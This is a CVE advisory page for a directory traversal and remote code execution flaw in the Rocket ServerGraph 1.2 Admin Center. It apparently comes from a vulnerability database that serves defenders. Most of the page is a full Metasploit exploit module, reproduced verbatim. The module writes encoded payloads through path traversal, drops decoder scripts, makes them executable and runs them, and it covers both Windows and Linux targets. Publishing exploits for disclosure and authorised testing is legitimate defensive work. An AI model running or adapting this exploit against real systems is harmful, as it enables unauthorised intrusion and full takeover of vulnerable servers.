CVE-2014-3914

critical
Published 2014-08-07 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Directory traversal vulnerability in the Admin Center for Tivoli Storage Manager (TSM) in Rocket ServerGraph 1.2 allows remote attackers to (1) create arbitrary files via a .. (dot dot) in the query parameter in a writeDataFile action to the fileRequestor servlet, execute arbitrary files via a .. (dot dot) in the query parameter in a (2) run or (3) runClear action to the fileRequestor servlet, (4) read arbitrary files via a readDataFile action to the fileRequestor servlet, (5) execute arbitrary code via a save_server_groups action to the userRequest servlet, or (6) delete arbitrary files via a del action in the fileRequestServlet servlet.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33807 remote multiple verified ruby ยท 10 KB
Metasploit ยท 2014-06-18

Rocket Servergraph Admin Center - fileRequestor Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
      'Description' => %q{
        This module abuses several directory traversal flaws in Rocket Servergraph Admin
        Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
        allowing a remote attacker to write arbitrary files and execute commands with
        administrative privileges. This module has been tested successfully on Rocket
        ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
        12.04 64 bits.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-3914'],
          ['ZDI', '14-161'],
          ['ZDI', '14-162'],
          ['BID', '67779']
        ],
      'Privileged'  => true,
      'Platform'    => %w{ linux unix win },
      'Arch'        => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
      'Payload'     =>
        {
          'Space'       => 8192, # it's writing a file, so just a long enough value
          'DisableNops' => true
          #'BadChars'   => (0x80..0xff).to_a.pack("C*") # Doesn't apply
        },
      'Targets'     =>
        [
          [ 'Linux (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (CMD Payload)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
          [ 'Windows / VB Script',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows CMD',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))

    register_options(
      [
        Opt::RPORT(8888)
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
        OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
        OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
      ], self.class)

  end

  def check
    os = get_os

    if os.nil?
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Appears
  end

  def exploit
    os = get_os

    if os == 'win' && target.name =~ /Linux/
      fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
    elsif os == 'linux' && target.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
    elsif os.nil?
      print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
    end

    if target.name =~ /Windows.*VB/
      exploit_windows_vbs
    elsif target.name =~ /Windows.*CMD/
      exploit_windows_cmd
    elsif target.name =~ /Linux.*CMD/
      exploit_linux_cmd
    elsif target.name =~ /Linux.*Native/
      exploit_linux_native
    end
  end

  def exploit_windows_vbs
    traversal = "\\.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('win')
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"

    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)

    vbs = generate_decoder_vbs({
      :temp_dir => "C:#{temp}",
      :encoded_file_name => encoded_file_name,
      :exe_file_name => exe_file_name
    })
    print_status("#{peer} - Dropping the VBS decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)

    register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
    register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
    register_files_for_cleanup("C:#{temp}#{exe_file_name}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
  end


  def exploit_windows_cmd
    traversal = "\\.." * traversal_depth
    execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
  end

  def exploit_linux_native
    traversal = "/.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('linux')
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
    elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"

    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)

    decoder = <<-SH
#!/bin/sh

base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH

    print_status("#{peer} - Dropping the decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)

    register_files_for_cleanup("#{temp}#{decoder_file_name}")
    register_files_for_cleanup("#{temp}#{encoded_file_name}")
    register_files_for_cleanup("#{temp}#{elf_file_name}")

    print_status("#{peer} - Giving execution permissions to the decoder...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")

    print_status("#{peer} - Executing decoder and payload...")
    execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
  end

  def exploit_linux_cmd
    temp = temp_dir('linux')
    elf = rand_text_alpha(4 + rand(4))

    traversal = "/.." * traversal_depth
    print_status("#{peer} - Dropping payload...")
    write_file("#{traversal}#{temp}#{elf}", payload.encoded)
    register_files_for_cleanup("#{temp}#{elf}")
    print_status("#{peer} - Providing execution permissions...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}#{temp}#{elf}")
  end

  def generate_decoder_vbs(opts = {})
    decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")

    f = File.new(decoder_path, "rb")
    decoder = f.read(f.stat.size)
    f.close

    decoder.gsub!(/>>decode_stub/, "")
    decoder.gsub!(/^echo /, "")
    decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
    decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")

    decoder
  end

  def get_os
    os = nil
    path = ""
    hint = rand_text_alpha(3 + rand(4))

    res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")

    if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
      path = $1
    elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
      path = $1
    end

    if path =~ /^\//
      os = 'linux'
    elsif path =~ /^[a-zA-Z]:\\/
      os = 'win'
    end

    os
  end

  def temp_dir(os)
    temp = ""
    case os
    when 'linux'
      temp = linux_temp_dir
    when 'win'
      temp = win_temp_dir
    end

    temp
  end

  def linux_temp_dir
    dir = "/tmp/"

    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
      dir = datastore['TEMP_DIR']
    end

    unless dir.start_with?("/")
      dir = "/#{dir}"
    end

    unless dir.end_with?("/")
      dir = "#{dir}/"
    end

    dir
  end

  def win_temp_dir
    dir = "\\#{win_dir}\\Temp\\"

    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
      dir = datastore['TEMP_DIR']
    end

    dir.gsub!(/\//, "\\")
    dir.gsub!(/^([A-Za-z]:)?/, "")

    unless dir.start_with?("\\")
      dir = "\\#{dir}"
    end

    unless dir.end_with?("\\")
      dir = "#{dir}\\"
    end

    dir
  end

  def win_dir
    dir = "WINDOWS"
    if datastore['WINDIR']
      dir = datastore['WINDIR']
      dir.gsub!(/\//, "\\")
      dir.gsub!(/[\\]*$/, "")
      dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
    end

    dir
  end

  def traversal_depth
    depth = 20

    if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
      depth = datastore['TRAVERSAL_DEPTH']
    end

    depth
  end

  def write_file(file_name, contents)
    res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)

    unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
      fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
    end

    res
  end

  def execute(command)
    res = send_request(1, "run", command)

    res
  end

  def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
    data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
    data << "&title=#{rand_text_alpha(rand(4) + 4)}"
    data << "&params=#{rand_text_alpha(rand(4) + 4)}"
    data << "&id=#{rand_text_alpha(rand(4) + 4)}"
    data << "&cmd=#{command}"
    data << "&source=#{source}"
    data << "&query=#{query}"

    res = send_request_cgi(
      {
        'uri'    => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
        'method' => 'POST',
        'data'   => data
      }, timeout)

    res
  end

end

Metasploit modules

Rocket Servergraph Admin Center fileRequestor Remote Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
rocketsoftwarerocket_servergraph1.2

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.